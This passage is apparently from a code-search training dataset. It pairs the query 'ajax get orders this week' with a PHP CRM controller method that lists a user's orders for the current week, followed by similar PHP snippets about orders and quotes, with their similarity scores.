Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$ORDER;\n $_channel = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer11.g:161:3: ( 'order' ) \n // Tokenizer11.g:162:3: 'order' \n {\n $this->matchString(\"order\"); \n\n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "public function setOrder() {\n\t\tif ($_POST) {\n\t\t\t$this->mfaq->setFaqsOrder ( $_POST [\"faq\"] );\n\t\t\t$this->session->set_userdata ( array (\n\t\t\t\t\t\"msg\" => \"1\" \n\t\t\t) );\n\t\t\t$this->mfunctions->actionReport ( \"faq\", \"set_order\" );\n\t\t\tredirect ( base_url () . \"admin/faq\", \"refresh\" );\n\t\t}\n\t}", "public function addOrder($order){\n $this->collection[] = $order;\n }", "function click_sort($order) {\n if (isset($this->real_field)) {\n // Since fields should always have themselves already added, just\n // add a sort on the field.\n $params = array('type' => 'numeric');\n $this->query->add_orderby($this->table_alias, $this->real_field, $order, $this->field_alias, $params);\n }\n }", "public function order($order) {\n\t\t$model = $this->model;\n\t\t// For each order field, it is added as an OrderField object\n\t\tforeach ($order as $field => $fieldOrder) {\n\t\t\t$this->order[] = new \\lulo\\query\\OrderField($this, $model, $field, $fieldOrder);\n\t\t}\n\t\treturn $this;\n\t}", "public function setOrderAttribute($value)\n {\n $this->attributes['order'] = (GeneralFunctions::isSetAndIsNotNull($value)) ? $value : 0;\n }", "public function setOrderAttribute($value)\n {\n $this->attributes['order'] = (GeneralFunctions::isSetAndIsNotNull($value)) ? $value : 0;\n }", "function getOrder()\n {\n return 50;\n }", "function getOrder()\n {\n return 3;\n }", "function sortOrderProducts(order_products $orderProducts);", "public static function order( $column, $order, $use_alias = true ) {\n\t\t\tif( self::$query_open ) {\n self::$current_query->order( $column, $order, $use_alias );\n }\n\t\t}", "public function setOrder($name)\n {\n $this->order = $name;\n }", "public function setOrder($Order)\n {\n $this->__set(\"order\", $Order);\n }", "function getOrder()\n {\n return 7;\n }", "function getOrder()\n {\n return 7;\n }", "function getOrder()\n {\n return 1;\n }", "function getOrder()\n {\n return 1;\n }" ]
[ "0.66199756", "0.61448807", "0.6022752", "0.6017305", "0.59835255", "0.58972234", "0.5873749", "0.5861858", "0.5852105", "0.5837569", "0.5791557", "0.5791557", "0.5769826", "0.5767373", "0.5767373", "0.5767373", "0.57596934", "0.573676", "0.573676", "0.5728994", "0.5695283", "0.5673455", "0.5669481", "0.5603252", "0.5597327", "0.5596749", "0.5573494", "0.5567196", "0.5554031", "0.55266505", "0.5493373", "0.54816246", "0.547648", "0.5475361", "0.5463549", "0.54531544", "0.54531544", "0.54531544", "0.54531544", "0.54531544", "0.54531544", "0.54531544", "0.54531544", "0.5451127", "0.53974587", "0.53925985", "0.5376628", "0.53742194", "0.5373272", "0.53721106", "0.5371387", "0.53493345", "0.5347857", "0.5340804", "0.5335985", "0.5332784", "0.53202504", "0.53202504", "0.5313806", "0.5306247", "0.52738875", "0.5270566", "0.5270316", "0.52652407", "0.5264027", "0.52433693", "0.52422994", "0.52336144", "0.52250856", "0.522175", "0.52178794", "0.52178794", "0.52178794", "0.52178794", "0.52178794", "0.52178794", "0.51890075", "0.5188161", "0.5185951", "0.51799476", "0.5178139", "0.5170682", "0.5165224", "0.5155947", "0.5144691", "0.51237303", "0.51221657", "0.5098572", "0.5089536", "0.5084273", "0.5084273", "0.50765455", "0.50745517", "0.5073917", "0.50729036", "0.50572085", "0.505363", "0.505078", "0.505078", "0.50411445", "0.50411445" ]
0.0
-1
get data to export.
public function export($mode = 'all', $orderBy = 'id_desc') { if($_POST) { $orderLang = $this->lang->order; $orderConfig = $this->config->order; /* Create field lists. */ $fields = explode(',', $orderConfig->list->exportFields); foreach($fields as $key => $fieldName) { $fieldName = trim($fieldName); $fields[$fieldName] = isset($orderLang->$fieldName) ? $orderLang->$fieldName : $fieldName; unset($fields[$key]); } $orders = array(); if($mode == 'all') { $orderQueryCondition = $this->session->orderQueryCondition; if(strpos($orderQueryCondition, 'limit') !== false) $orderQueryCondition = substr($orderQueryCondition, 0, strpos($orderQueryCondition, 'limit')); $stmt = $this->dbh->query($orderQueryCondition); while($row = $stmt->fetch()) $orders[$row->id] = $row; } if($mode == 'thisPage') { $stmt = $this->dbh->query($this->session->orderQueryCondition); while($row = $stmt->fetch()) $orders[$row->id] = $row; } /* Get users, products and projects. */ $users = $this->loadModel('user')->getPairs(); $products = $this->loadModel('product')->getPairs(); foreach($orders as $order) { if(isset($order->products)) continue; $order->products = array(); $productList = explode(',', $order->product); foreach($productList as $product) if(isset($products[$product])) $order->products[] = $products[$product]; } foreach($orders as $order) { /* fill some field with useful value. */ if(isset($orderLang->statusList[$order->status])) $order->status = $orderLang->statusList[$order->status]; if(isset($orderLang->closedReasonList[$order->closedReason])) $order->closedReason = $orderLang->closedReasonList[$order->closedReason]; if(isset($this->lang->currencyList[$order->currency])) $order->currency = $this->lang->currencyList[$order->currency]; if(isset($users[$order->createdBy])) $order->createdBy = $users[$order->createdBy]; if(isset($users[$order->editedBy])) $order->editedBy = $users[$order->editedBy]; if(isset($users[$order->assignedTo])) $order->assignedTo = $users[$order->assignedTo]; if(isset($users[$order->assignedBy])) $order->assignedBy = $users[$order->assignedBy]; if(isset($users[$order->signedBy])) $order->signedBy = $users[$order->signedBy]; if(isset($users[$order->activatedBy])) $order->activatedBy = $users[$order->activatedBy]; if(isset($users[$order->contactedBy])) $order->contactedBy = $users[$order->contactedBy]; if(isset($users[$order->closedBy])) $order->closedBy = $users[$order->closedBy]; $order->createdDate = substr($order->createdDate, 0, 10); $order->editedDate = substr($order->editedDate, 0, 10); $order->assignedDate = substr($order->assignedDate, 0, 10); $order->signedDate = substr($order->signedDate, 0, 10); $order->activatedDate = substr($order->activatedDate, 0, 10); $order->contactedDate = substr($order->contactedDate, 0, 10); $order->nextDate = substr($order->contactedDate, 0, 10); $order->closedDate = substr($order->closedDate, 0, 10); $order->customer = $order->customerName; if(!empty($order->products)) $order->product = join("; \n", $order->products); } $this->post->set('fields', $fields); $this->post->set('rows', $orders); $this->post->set('kind', 'order'); $this->fetch('file', 'export2CSV' , $_POST); } $this->display(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function export(){\n\t\treturn $this->data;\n\t}", "public function exportData() {\n\t\treturn $this->constructExportObject();\n\t}", "public function export()\n {\n return $this->data;\n }", "public function export()\n {\n return $this->data;\n }", "abstract function exportData();", "public function get_data()\n\t\t{\t\t// Should there be a common method for this?\n\t\t}", "public function get_data();", "public function get_export_data()\n {\n\n $l_sql = \"SELECT isys_obj_type__id, isys_obj_type__title, isys_verinice_types__title, isys_verinice_types__const \" . \"FROM isys_obj_type \" . \"INNER JOIN isys_verinice_types ON isys_obj_type__isys_verinice_types__id = isys_verinice_types__id \";\n\n return $this->retrieve($l_sql);\n\n }", "public function getData() {\r\n if ($this->data == null) {\r\n $this->data = new DataExport($this->chart);\r\n }\r\n\r\n return $this->data;\r\n }", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public function getData();", "public static function getData() {}", "abstract function getdata();", "public function getData() {}", "private function getExportData()\n {\n $dtoData = $this->getFilters();\n $dtoData['id'] = $this->getIdentifier();\n\n $dtoClass = self::$exportDataMap[$this->lva];\n\n $response = $this->handleQuery($dtoClass::create($dtoData));\n\n return [\n 'licenceVehicles' => $response->getResult(),\n ];\n }", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "public function get_data()\n {\n }", "protected function getData() { }", "public function getData()\r\n {\r\n }", "public function get_data()\n {\n return $this->retrieve('SELECT * FROM isys_import LIMIT 1000;');\n }", "public function getData()\n {\n }", "function clients_select_getExportData($ctlData,$clientID) {\t\n\treturn clients_select_getData($ctlData,$clientID);\n}", "public function get_data(): array;", "public function get_data(): array;", "function getData() {\n checkIfNotAjax();\n $this->libauth->check(__METHOD__);\n $cpData = $this->BeOnemdl->getDataTable();\n $this->BeOnemdl->outputToJson($cpData);\n }", "function get_data()\n {\n }", "public function getData() {\n\t\t/** @var GoogleApi_Helper */\n\t\t$helper = DI::getDefault()->get('googleApiHelper');\n\t\treturn $helper->getFileDataById($this->googleId);\n\t}", "public function get_data() {\r\n\t\treturn $this->data;\r\n\t}", "public function getData() {\n\t\t$this->validate();\n\n\t\t// add file header record\n\t\t$data = $this->header->getData();\n\n\t\t// add file batch records\n\t\tforeach ($this->batches as $batch) {\n\t\t\t$data .= $batch->getData();\n\t\t}\n\t\t// add file control record.\n\t\t$data .= $this->control->getData();\n\n\t\treturn $data;\n\t}", "public function get_data() {\n\t\treturn $this->data;\n\t}", "protected static function getData()\n {\n }", "public function getData(){\n\t\treturn $this->data;\n\t}", "public function getData(){\n\t\treturn $this->data;\n\t}", "public function getData(){\n\t\treturn $this->data;\n\t}", "protected function getData()\n {\n return $this->data;\n }", "public function get_data() {\r\n return $this->data;\r\n }", "protected function obtainData()\n\t{\n\t\t$this->obtainDataReferences();\n\t\t$this->obtainDataOrders();\n\t}", "public final function getData(){\n return $this->data;\n }", "public function getData()\n\t{\n\t\treturn $this->m_data->getData();\n\t}", "function getData() {\n\t\treturn $this->data;\n\t}", "function get_data() {\r\n return $this->data;\r\n }", "public function getData(){\n\n return $this->data;\n }", "public function get_data() {\n return $this->data;\n }", "public static function getDataList () { return self::getList('data'); }", "public function get_data()\n {\n return $this->_data;\n }", "function getData() {\n\t\treturn file_get_contents($this->getFile());\n\t}", "public function getData()\n {\n// If you want to use database just run the migration and then uncomment Analytic (comment using csv line)\n\n// $data = new DataJson(); // json data\n// $data = new Analytic(); // using database\n $data = new DataCSV(); // using csv\n return $data->loadData();\n }", "public static function getData()\n {\n return self::$data;\n }", "public function getData() \n\t{\n return $this->data;\n }", "public function getData()\r\n {\r\n return $this->data;\r\n }", "public function getData() {\r\n return $this->data;\r\n }", "public static function getData()\n {\n return self::$data;\n }", "public function getData() {\n\t\treturn $this->data;\n\t}", "public function getData() {\n\t\treturn $this->data;\n\t}", "public function getData() {\n return $this::$data;\n }", "public function getData() {\r\n\t\treturn $this->_data;\r\n\t}", "public function getData () {\n return $this->data;\n }", "public function getData()\n {\n // TODO: Implement getData() method.\n }", "public function getData()\n {\n // TODO: Implement getData() method.\n }", "public function getMultipleData();", "public function getData()\n {\n return $this->bulkData;\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData()\n {\n }", "public function getData() {\n return $data;\n }", "public function Individualgetdata();", "function getData();", "public function getData()\n\t{\n\t\treturn $this->data;\n\t}", "public function getData()\n\t{\n\t\treturn $this->data;\n\t}", "public function getData()\n\t{\n\t\treturn $this->data;\n\t}", "public function getData()\n\t{\n\t\treturn $this->data;\n\t}", "public function get_all_data()\n\t{\n\t\treturn $this->_data;\n\t}", "public function getData()\n {\n return $this->data;\n }", "public function getData()\n {\n return $this->data;\n }" ]
[ "0.8086696", "0.7957255", "0.7871784", "0.7871784", "0.77926236", "0.7593209", "0.7531379", "0.7395834", "0.73132825", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7277335", "0.7183524", "0.71667117", "0.7144923", "0.71447086", "0.707091", "0.707091", "0.707091", "0.7069934", "0.69689655", "0.69057316", "0.6902507", "0.6873386", "0.6868718", "0.68669885", "0.68669885", "0.682734", "0.6813972", "0.68090785", "0.67837685", "0.67763674", "0.6773607", "0.67683005", "0.6730259", "0.6730259", "0.6730259", "0.67050654", "0.66818887", "0.667088", "0.66645753", "0.66637677", "0.6661257", "0.665814", "0.6642565", "0.66400385", "0.66353863", "0.6631199", "0.663048", "0.66249275", "0.6624828", "0.6619785", "0.6618008", "0.661663", "0.6614238", "0.66107285", "0.66107285", "0.6600472", "0.6599834", "0.6597993", "0.65974987", "0.65974987", "0.6588772", "0.658434", "0.65783966", "0.65783966", "0.65783966", "0.65783966", "0.65783966", "0.65783966", "0.65783966", "0.65783966", "0.65783966", "0.65782154", "0.6574014", "0.6573989", "0.6573781", "0.6573781", "0.6573781", "0.6573781", "0.6570889", "0.6564472", "0.6564472" ]
0.0
-1
ajax get orders this week need conect.
public function ajaxGetTodoList($account = '', $id = '', $type = 'select') { $this->app->loadClass('date', $static = true); $customerIdList = $this->loadModel('customer')->getCustomersSawByMe(); $products = $this->loadModel('product')->getPairs(); $thisWeek = date::getThisWeek(); $orders = array(); if($account == '') $account = $this->app->user->account; $sql = $this->dao->select('o.id, o.product, o.createdDate, c.name as customerName, t.id as todo')->from(TABLE_ORDER)->alias('o') ->leftJoin(TABLE_CUSTOMER)->alias('c')->on("o.customer=c.id") ->leftJoin(TABLE_TODO)->alias('t')->on("t.type='order' and o.id=t.idvalue") ->where('o.deleted')->eq(0) ->andWhere('o.assignedTo')->eq($account) ->andWhere('o.nextDate')->between($thisWeek['begin'], $thisWeek['end']) ->andWhere('o.customer')->in($customerIdList) ->orderBy('o.id_desc'); $stmt = $sql->query(); while($order = $stmt->fetch()) { if($order->todo) continue; $order->products = array(); $productList = explode(',', $order->product); foreach($productList as $product) if(isset($products[$product])) $order->products[] = $products[$product]; $productName = count($order->products) > 1 ? current($order->products) . $this->lang->etc : current($order->products); $order->title = sprintf($this->lang->order->titleLBL, $order->customerName, $productName, date('Y-m-d', strtotime($order->createdDate))); $orders[$order->id] = $order->title; } if($type == 'select') { if($id) die(html::select("idvalues[$id]", $orders, '', 'class="form-control"')); die(html::select('idvalue', $orders, '', 'class=form-control')); } if($type == 'board') { die($this->loadModel('todo', 'sys')->buildBoardList($orders, 'order')); } die(json_encode($orders)); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getFOrders()\n {\n // 花店管理员身份验证\n if (session(\"admin_level\") == 3){\n $toFlower = M('weixin_order');\n $data = $toFlower->where('type = 0')->select();\n $this->assign('data',$data);\n }\n\n $toTrade = M('pub_trade_logs');\n $con['uid'] = session('uid');\n //$this->ajaxReturn(0 , $con['uid'] , 1);\n $TradeLogs = $toTrade->query(\"SELECT `xt_pub_trade_logs`.* ,`xt_pub`.`title` FROM `xt_pub_trade_logs` left join `xt_pub` on `xt_pub_trade_logs`.`pub_id` = `xt_pub`.`pub_id` WHERE 1\");\n // $this->ajaxReturn(0 , $TradeLogs , 1);\n\n $this->assign('tradelogs',$TradeLogs);\n $this->display();\n }", "public function todayAction(){\n\n $data = [ 'today' => 'today' ];\n $client = new Client();\n $ServerPort =\"\";\n if($_SERVER['SERVER_PORT']){\n $ServerPort = ':'.$_SERVER['SERVER_PORT'];\n }\n $client->setUri('http://'.$_SERVER['SERVER_NAME'].$ServerPort.'/order-rest');\n $client->setOptions(array(\n 'maxredirects' => 5,\n 'timeout' => 30\n ));\n $client->setParameterPost(\n $data\n );\n $client->setMethod( Request::METHOD_POST );\n $response = $client->send();\n if ($response->isSuccess()) {\n $result = json_decode( $response->getContent() , true);\n }\n return $this->redirect()->toRoute('ordermanagement', array('action' => 'index') );\n }", "function admin_get_all_orders(){\n\t //$orders = $this->Order->find('all');\n\t $this->paginate = array('limit' => 10, 'order' => 'Order.od_date DESC');\n\t \n\t $this->set('orders', $this->paginate());\n\t \n\t \n\t if(!empty($this->data)){\n\t $this->Order->id = $this->data['Order']['id'];\n\t $this->Order->saveField('od_status', $this->data['Order']['od_status']);\n\t \n\t $result = $this->Order->get_ordered_items($this->data['Order']['id']);\n\t \n\t\t//enviar el correo electronico de la situacion\n\t $this->set('orderedProducts',$result);\n\t $this->set('status', $this->data['Order']['od_status']);\n\t $this->MyEmail->sendOrderStatusEmail($this->data['Order']['od_payment_email']);\n\t $this->redirect($this->referer());\n\t } \n\t}", "function orders() {\n\t \treturn $this->hook(\"/{$this->subject_slug}/v1/orders.xml?api_key={$this->api_key}\",\"order\");\n\t}", "public function sendOrdersInNextWeek()\n {\n $subject = '[QS-IMS MAILER] DANH SÁCH THIẾT BỊ SẼ ĐƯỢC ĐIỀU ĐỘNG TRONG TUẦN KẾ TIẾP';\n $mail = '';\n $start = date('Y-m-d', strtotime('next monday'));\n $end = date('Y-m-d', strtotime('next sunday'));\n\n $sql = sprintf('\n SELECT\n ddtb.*,\n qsusers.*,\n dsddtb.MaThietBi,\n dsddtb.TenThietBi\n FROM OLichThietBi AS ddtb\n INNER JOIN ODanhSachDieuDongThietBi AS dsddtb ON ddtb.IFID_M706 = dsddtb.IFID_M706\n INNER JOIN ODanhSachThietBi AS dstb ON dsddtb.Ref_MaThietBi = dstb.IOID\n INNER JOIN OKhuVuc AS khuvuc ON dstb.Ref_MaKhuVuc = khuvuc.IOID\n INNER JOIN OKhuVuc AS khuvuccon ON khuvuc.lft <= khuvuccon.lft AND khuvuc.rgt >= khuvuccon.rgt\n INNER JOIN OThietBi AS DonViKhuVuc ON khuvuccon.IOID = DonViKhuVuc.Ref_Ma\n INNER JOIN ODonViSanXuat AS DonVi ON DonVi.IFID_M125 = DonViKhuVuc.IFID_M125\n INNER JOIN ODonViSanXuat AS DonViCon ON DonVi.lft <= DonViCon.lft AND DonVi.rgt >= DonViCon.rgt\n INNER JOIN ONhanVien AS DonViNhanVien ON DonViCon.IFID_M125 = DonViNhanVien.IFID_M125\n INNER JOIN ODanhSachNhanVien AS NhanVien ON DonViNhanVien.Ref_MaNV = NhanVien.IOID\n INNER JOIN qsusers ON qsusers.UID = NhanVien.Ref_TenTruyCap\n WHERE qsusers.isActive = 1 /*AND (ddtb.NgayBatDau BETWEEN %1$s AND %2$s)*/\n ORDER BY ddtb.NgayBatDau, ddtb.SoPhieu\n ', $this->_db->quote($start), $this->_db->quote($end));\n\n $dataSql = $this->_db->fetchAll($sql);\n\n $this->setToList($dataSql);\n\n if(count($dataSql) && count($this->to))\n {\n $mail .= '<h1> DANH SÁCH THIẾT BỊ SẼ ĐƯỢC ĐIỀU ĐỘNG TRONG TUẦN KẾ TIẾP </h1>';\n $mail .= '<br/>';\n $mail .= '<table cellpadding=\"0\" cellspacing=\"0\" border=\"1\">';\n $mail .= '<tr>';\n $mail .= '<th> TÊN THIẾT BỊ </th>';\n $mail .= '<th> MÃ THIẾT BỊ </th>';\n $mail .= '<th> SỐ PHIẾU </th>';\n $mail .= '<th> NGÀY BẮT ĐẦU </th>';\n $mail .= '<th> NGÀY KẾT THÚC </th>';\n $mail .= '</tr>';\n\n foreach($dataSql as $item)\n {\n $mail .= '<tr>';\n $mail .= '<td>' . $item->TenThietBi . '</td>';\n $mail .= '<td>' . $item->MaThietBi . '</td>';\n $mail .= '<td><a target=\"_blank\" href=\"http://'.$this->domain.'/user/form/edit?ifid='.$item->IFID_M706.'&deptid='.$item->DeptID.'\">'.$item->SoPhieu.'</a></td>';\n $mail .= '<td>' . Qss_Lib_Date::mysqltodisplay($item->NgayBatDau) . '</td>';\n $mail .= '<td>' . Qss_Lib_Date::mysqltodisplay($item->NgayKetThuc) . '</td>';\n $mail .= '</tr>';\n }\n\n $mail .= '</table>';\n $mail .= '<br/>';\n $mail .= '<p style=\"text-align:right\" > <b>QS-IMS Mailer</b> </p>';\n $this->_sendMail($subject, $this->to, $mail, $this->cc);\n }\n }", "function weeklyQuotesAction(){\n\t\t\n\t\t\n\t\t$request=$this->_request->getParams();\n\t\t\n\t\t\n\t\t\t $quotecron_obj = new Ep_Quote_Cron();\n\t\t\t $quotes=$quotecron_obj->getweeklyquotes();\n\t\t\t $quoteDetails=array();\n\t\t\t $quoteslern=array();\n\t\t\t $quotesusertotal=array();\n\t\t\t $date7day = date('Y-m-d H:i:s',time()-(7*86400));\n\t\t\t\t\t\t$html=\"<table class='table-bordered table-hover'>\";\n\t\t\t\t\t\tif(count($quotes)>0){\n\t\t\t\t\t\t\t\t\t\t $quotetotal=0;\n\t\t\t\t\t\t\t\t\t\t $turnover=0;\n\t\t\t\t\t\t\t\t\t\t $signature=0;\n\t\t\t\t\t\t\t\t\t\t $i=0;\n\t\t\t\t\t\t\t\t\t\t $usertotal=1;\n\t\t\t\t\t\t\t\tforeach($quotes as $quotescheck){\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tif(($quotescheck['created_at']>=$date7day && $quotescheck['created_at']<=date('Y-m-d') )&& ($quotescheck['sales_review']=='not_done' || $quotescheck['sales_review']=='challenged' || $quotescheck['sales_review']=='to_be_approve') ){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quotetotal++;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$turnover+=$quotescheck['turnover'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$signature+=$quotescheck['estimate_sign_percentage'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['identifier']=$quotescheck['identifier'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$mrgin=explode('.',$quotescheck['sales_margin_percentage']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['company_name']=$quotescheck['company_name'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['bosalesuser']=$quotescheck['bosalesuser'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['title']=\"<a href='http://\".$_SERVER['HTTP_HOST'].\"/quote/quote-followup?quote_id=\".$quotescheck['identifier'].\"&submenuId=ML13-SL2' target='_blank'>\".$quotescheck['title'].\"</a>\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['estimate_sign_percentage']=$quotescheck['estimate_sign_percentage'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['turnover']=$quotescheck['turnover'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['saleinchange']=$quotescheck['bosalesuser'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['created_at']=date('Y-m-d',strtotime($quotescheck['created_at']));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['status']='Ongoing';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($quotescheck['seo_timeline']<time() && $quotescheck['seo_timeline']!='')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$team= 'Seo ';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telseif($quotescheck['tech_timeline']<time() && $quotescheck['tech_timeline']!='')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$team= 'Tech ';\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telseif($quotescheck['prod_timeline']<time() && $quotescheck['prod_timeline']!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$team= 'Prod ';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['team']=$team;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($quotescheck['response_time']>time()){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['notiontime']='Late No';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['notiontime']='Late Yes';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['quote_by']=$quotescheck['quote_by'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telseif($quotescheck['sales_review']=='closed' && $quotescheck['closed_reason']!='quote_permanently_lost' && $quotescheck['releaceraction']!=''){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quotetotal++;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$turnover+=$quotescheck['turnover'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$signature+=$quotescheck['estimate_sign_percentage'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['identifier']=$quotescheck['identifier'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$mrgin=explode('.',$quotescheck['sales_margin_percentage']);\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['company_name']=utf8_decode($quotescheck['company_name']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['estimate_sign_percentage']=$quotescheck['estimate_sign_percentage'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['turnover']=$quotescheck['turnover'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['saleinchange']=$quotescheck['bosalesuser'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['title']=\"<a href='http://\".$_SERVER['HTTP_HOST'].\"/quote/quote-followup?quote_id=\".$quotescheck['identifier'].\"&submenuId=ML13-SL2' target='_blank'>\".$quotescheck['title'].\"</a>\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['created_at']=date('Y-m-d',strtotime($quotescheck['created_at']));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['status']='A relancer';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['team']='Relanc&#233;';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/*$validate_date= new DateTime($quotecron_obj->getquotesvalidatelog($quotescheck['identifier'])[0]['action_at']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $sent_days= $validate_date->diff(new DateTime(date(\"Y-m-d H:i:s\")));*/\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $sent_days=dateDiff($quotecron_obj->getquotesvalidatelog($quotescheck['identifier'])[0]['action_at'],date(\"Y-m-d H:i:s\"));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['notiontime']='Quote sent '.$sent_days.' on days ago';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$quoteslern[$i]['comments']='closed on '.$quotescheck['releaceraction'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['quote_by']=$quotescheck['quote_by'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telseif($quotescheck['sales_review'] == 'validated' && $quotescheck['validateaction']!=\"\" ){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quotetotal++;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $turnover+=$quotescheck['turnover'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $signature+=$quotescheck['estimate_sign_percentage'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['identifier']=$quotescheck['identifier'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $mrgin=explode('.',$quotescheck['sales_margin_percentage']);\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['company_name']=utf8_decode($quotescheck['company_name']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['estimate_sign_percentage']=$quotescheck['estimate_sign_percentage'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['turnover']=$quotescheck['turnover'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['saleinchange']=$quotescheck['bosalesuser'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $quoteslern[$i]['title']=\"<a href='http://\".$_SERVER['HTTP_HOST'].\"/quote/quote-followup?quote_id=\".$quotescheck['identifier'].\"&submenuId=ML13-SL2' target='_blank'>\".$quotescheck['title'].\"</a>\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 